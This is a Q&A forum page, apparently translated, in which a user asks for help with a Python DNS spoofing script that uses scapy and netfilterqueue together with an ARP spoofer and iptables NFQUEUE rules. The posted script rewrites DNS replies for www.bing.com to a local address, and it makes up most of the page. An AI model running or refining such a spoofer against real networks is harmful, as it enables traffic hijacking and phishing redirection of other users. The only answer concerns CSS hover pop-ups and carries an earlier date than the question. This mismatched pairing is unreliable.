M
M
Mikhail365892021-02-22 13:49:48
Python
Mikhail36589, 2021-02-22 13:49:48

Can't perform a DNS spoof attack?

ATTENTION, IMPORTANT THEME UPDATE!!!
THE ERROR IS THAT IF I USE THE SCRIPT ON MY PC THEN IT WORKS, BUT WHEN I TRY TO USE IT TOGETHER WITH ARP SPOOFER ON ANOTHER PC THEN THEN FOR WHY THE PACKAGE I RECEIVE IS MISSING DNS LEVEL
PLEASE HELP ME KNOWS HOW TO FIX IT

Hello habr community, I had a problem while testing my DNS Spoofer.
The essence of the problem is that if I use the commands:
service apache2 start
iptables --flush
iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0
and test the spoofer on my pc everything works fine (www.bing.com site is replaced by my site which is on

192.168. before that, having written:
service apache2 start
iptables --flush
iptables -I FORWARD -j NFQUEUE --queue-num 0
, then my spoofer cannot do anything to the target PC (I immediately say that ARP spoofer works fine, plus I often used it together with Packet sniffer and everything worked perfectly, but if necessary, I can post its source code)

THANK YOU IN ADVANCE FOR YOUR HELP!!!

THE CODE:

#!/usr/bin/env python

import scapy.all as scapy
import netfilterqueue


def process_pack(packet):
    scapy_pack = scapy.IP(packet.get_payload())
    if scapy_pack.haslayer(scapy.DNSRR):
        print(scapy_pack.show())
        qname = scapy_pack[scapy.DNSQR].qname
        print(str(qname))
        if "www.bing.com" in qname:
            print("[+] Spoofing target, url >> " + qname)
            scapy_pack[scapy.DNS].ancount = 1
            answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.91")
            scapy_pack[scapy.DNS].an = answer

            del scapy_pack[scapy.IP].len
            del scapy_pack[scapy.IP].chksum
            del scapy_pack[scapy.UDP].chksum
            del scapy_pack[scapy.UDP].len

            packet.set_payload(str(scapy_pack))
    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_pack)
queue.run()

Answer the question

In order to leave comments, you need to log in

1 answer(s)
J
JackShcherbakov, 2017-10-27
@JackShcherbakov

1. What are pop-ups?
2. In html, wrap the text that you want to show on hover in any line tag (span type) and put it next in relation to the tag you want to show the text on hover.
2.1. In css write something like this (el1 - text, el2 - what comes out)
It will look something like this https://codepen.io/CitizenOne/pen/LOPRKN

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question